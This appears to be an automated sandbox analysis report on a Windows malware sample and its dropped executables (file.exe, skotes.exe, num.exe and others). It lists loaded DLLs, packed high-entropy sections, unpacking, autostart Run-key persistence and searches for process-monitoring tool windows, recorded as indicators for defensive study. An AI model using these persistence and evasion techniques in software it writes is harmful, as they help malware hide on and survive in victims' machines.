Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: netutils.dll

Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2955264 > 1048576

Source: file.exe

Static PE information: Raw size of iktxewek is bigger than: 0x100000 < 0x2a5e00

Source:	Binary string: The name of the library's debug file. For example, 'xul.pdb source: firefox.exe, 0000002E.00000003.2993943486.0000020F30A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2998056944.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2996083751.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 0000002E.00000003.2993943486.0000020F30A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2998056944.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2996083751.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2992504945.0000020F3083B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Found range to be highlighted. Default highlights all ranges.An integer value of button by which menu item was clicked.Stops the profiler and discards any captured profile data.The name of the library's debug file. For example, 'xul.pdbCalled when websites' file systems have been cleared.Whether the new window should be an incognito window.Retrieves information about a single contextual identity.Information about the cookie that was set or removed. source: firefox.exe, 0000002E.00000003.2996083751.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: my_library.pdbU source: b76bb5cee7.exe, 0000000A.00000003.2721535335.00000000050CB000.00000004.00001000.00020000.00000000.sdmp, b76bb5cee7.exe, 0000000A.00000002.2766160676.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000002.2961232929.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000003.2862123172.000000000524B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2875624155.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num.exe, 00000030.00000000.3003390032.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num[1].exe.5.dr, num.exe.5.dr
Source:	Binary string: my_library.pdb source: b76bb5cee7.exe, 0000000A.00000003.2721535335.00000000050CB000.00000004.00001000.00020000.00000000.sdmp, b76bb5cee7.exe, 0000000A.00000002.2766160676.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000002.2961232929.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000003.2862123172.000000000524B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2875624155.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num.exe, 00000030.00000000.3003390032.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num[1].exe.5.dr, num.exe.5.dr
Source:	Binary string: A partial SuggestResult object, without the 'content' parameter.Found range to be highlighted. Default highlights all ranges.An integer value of button by which menu item was clicked.Stops the profiler and discards any captured profile data.The name of the library's debug file. For example, 'xul.pdbCalled when websites' file systems have been cleared.Whether the new window should be an incognito window.Retrieves information about a single contextual identity.Information about the cookie that was set or removed. source: firefox.exe, 0000002E.00000003.2993943486.0000020F30A48000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: YQEN9A9QU4P1VROBPV5YS.exe, 00000003.00000003.2350536379.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, YQEN9A9QU4P1VROBPV5YS.exe, 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmp, U2242U1STHGPPKHG.exe, 0000001E.00000003.2873579535.00000000026E0000.00000004.00001000.00020000.00000000.sdmp, U2242U1STHGPPKHG.exe, 0000001E.00000002.3008298151.0000000000632000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: Found range to be highlighted. Default highlights all ranges.An integer value of button by which menu item was clicked.Stops the profiler and discards any captured profile data.The name of the library's debug file. For example, 'xul.pdb source: firefox.exe, 0000002E.00000003.2998056944.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Unpacked PE file: 3.2.YQEN9A9QU4P1VROBPV5YS.exe.590000.0.unpack :EW;.rsrc:W;.idata :W;itokqeos:EW;vqtnthmp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Unpacked PE file: 4.2.99Q4Y3O9GBOXYTDVM9GPHI.exe.520000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qodksccb:EW;reojqbkz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qodksccb:EW;reojqbkz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Unpacked PE file: 10.2.b76bb5cee7.exe.aa0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fozyxqhw:EW;gnsdcfju:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fozyxqhw:EW;gnsdcfju:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qodksccb:EW;reojqbkz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qodksccb:EW;reojqbkz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Unpacked PE file: 29.2.b76bb5cee7.exe.aa0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fozyxqhw:EW;gnsdcfju:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fozyxqhw:EW;gnsdcfju:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Unpacked PE file: 30.2.U2242U1STHGPPKHG.exe.630000.0.unpack :EW;.rsrc:W;.idata :W;itokqeos:EW;vqtnthmp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Unpacked PE file: 32.2.KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qodksccb:EW;reojqbkz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qodksccb:EW;reojqbkz:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x2d49e9 should be: 0x2dfc29
Source: num[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: num.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: real checksum: 0x1edc8f should be: 0x1ecca7
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: real checksum: 0x2a1f21 should be: 0x29ff4e
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: real checksum: 0x1edc8f should be: 0x1ecca7
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1edc8f should be: 0x1ecca7
Source: efe6fe4127.exe.5.dr	Static PE information: real checksum: 0x2d49e9 should be: 0x2dfc29
Source: file.exe	Static PE information: real checksum: 0x2d49e9 should be: 0x2dfc29
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: real checksum: 0x2a1f21 should be: 0x29ff4e
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x215498 should be: 0x20f1cd
Source: b76bb5cee7.exe.5.dr	Static PE information: real checksum: 0x215498 should be: 0x20f1cd
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: real checksum: 0x2a1f21 should be: 0x29ff4e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: iktxewek
Source: file.exe	Static PE information: section name: nlvjxyrc
Source: file.exe	Static PE information: section name: .taggant
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: section name:
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: section name: .idata
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: section name: itokqeos
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: section name: vqtnthmp
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: section name: .taggant
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name:
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name: .idata
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name:
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name: qodksccb
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name: reojqbkz
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: qodksccb
Source: skotes.exe.4.dr	Static PE information: section name: reojqbkz
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name: iktxewek
Source: random[1].exe.5.dr	Static PE information: section name: nlvjxyrc
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: efe6fe4127.exe.5.dr	Static PE information: section name:
Source: efe6fe4127.exe.5.dr	Static PE information: section name: .idata
Source: efe6fe4127.exe.5.dr	Static PE information: section name: iktxewek
Source: efe6fe4127.exe.5.dr	Static PE information: section name: nlvjxyrc
Source: efe6fe4127.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: fozyxqhw
Source: random[1].exe0.5.dr	Static PE information: section name: gnsdcfju
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: b76bb5cee7.exe.5.dr	Static PE information: section name:
Source: b76bb5cee7.exe.5.dr	Static PE information: section name: .rsrc
Source: b76bb5cee7.exe.5.dr	Static PE information: section name: .idata
Source: b76bb5cee7.exe.5.dr	Static PE information: section name:
Source: b76bb5cee7.exe.5.dr	Static PE information: section name: fozyxqhw
Source: b76bb5cee7.exe.5.dr	Static PE information: section name: gnsdcfju
Source: b76bb5cee7.exe.5.dr	Static PE information: section name: .taggant
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: section name:
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: section name: .idata
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: section name: itokqeos
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: section name: vqtnthmp
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: section name: .taggant
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name:
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name: .idata
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name:
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name: qodksccb
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name: reojqbkz
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name: .taggant
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: section name:
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: section name: .idata
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: section name: itokqeos
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: section name: vqtnthmp
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A76018 push esi; iretd	0_3_00A76282
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A75000 push esi; iretd	0_3_00A76282
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A77161 push esp; ret	0_3_00A772AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A77161 push esp; ret	0_3_00A772AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A76441 push edi; retf	0_3_00A76A62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A76018 push esi; iretd	0_3_00A76282
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A75000 push esi; iretd	0_3_00A76282
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A77161 push esp; ret	0_3_00A772AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A77161 push esp; ret	0_3_00A772AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A76441 push edi; retf	0_3_00A76A62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A1AB0F push ss; ret	0_3_00A1ACAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A155E0 push ds; retf	0_3_00A155E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A152C8 pushad ; ret	0_3_00A152C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A76018 push esi; iretd	0_3_00A76282
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A75000 push esi; iretd	0_3_00A76282
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A77161 push esp; ret	0_3_00A772AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A77161 push esp; ret	0_3_00A772AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A76441 push edi; retf	0_3_00A76A62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052C9003 push cs; retf	0_3_052C9004
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A75000 push esi; iretd	0_3_00A76282
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A77161 push esp; ret	0_3_00A772AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A77161 push esp; ret	0_3_00A772AA
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0059E601 push edx; mov dword ptr [esp], 3D0DB58Ch	3_2_0059F3DE
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0059E601 push ebp; mov dword ptr [esp], 7BFBFE88h	3_2_0059F3E9
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0070CE97 push ecx; mov dword ptr [esp], 7BFE3D07h	3_2_0070CEE9
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0070CE97 push edi; mov dword ptr [esp], 75E25A00h	3_2_0070CF1C
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0059E725 push 07789B14h; mov dword ptr [esp], ebp	3_2_0059EB8D
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0071B07C push eax; mov dword ptr [esp], ecx	3_2_0071B495
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0071906E push edi; mov dword ptr [esp], esi	3_2_00719072
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_00709855 push 13B6B500h; mov dword ptr [esp], edx	3_2_0070986F
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0059C069 push ebp; mov dword ptr [esp], edx	3_2_0059C06A

Source: file.exe	Static PE information: section name: entropy: 7.970164933759343
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: section name: entropy: 7.793826982702039
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name: entropy: 7.980350469775883
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name: qodksccb entropy: 7.953744309551374
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.980350469775883
Source: skotes.exe.4.dr	Static PE information: section name: qodksccb entropy: 7.953744309551374
Source: random[1].exe.5.dr	Static PE information: section name: entropy: 7.970164933759343
Source: efe6fe4127.exe.5.dr	Static PE information: section name: entropy: 7.970164933759343
Source: random[1].exe0.5.dr	Static PE information: section name: fozyxqhw entropy: 7.952608283646461
Source: b76bb5cee7.exe.5.dr	Static PE information: section name: fozyxqhw entropy: 7.952608283646461
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: section name: entropy: 7.793826982702039
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name: entropy: 7.980350469775883
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name: qodksccb entropy: 7.953744309551374
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: section name: entropy: 7.793826982702039

Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File created: C:\Users\user\AppData\Local\Temp\9XHYSBI0DT1C8ABJDSO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File created: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File created: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run deecb7b612.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b76bb5cee7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run efe6fe4127.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Window searched: window name: FilemonClass	Jump to behavior
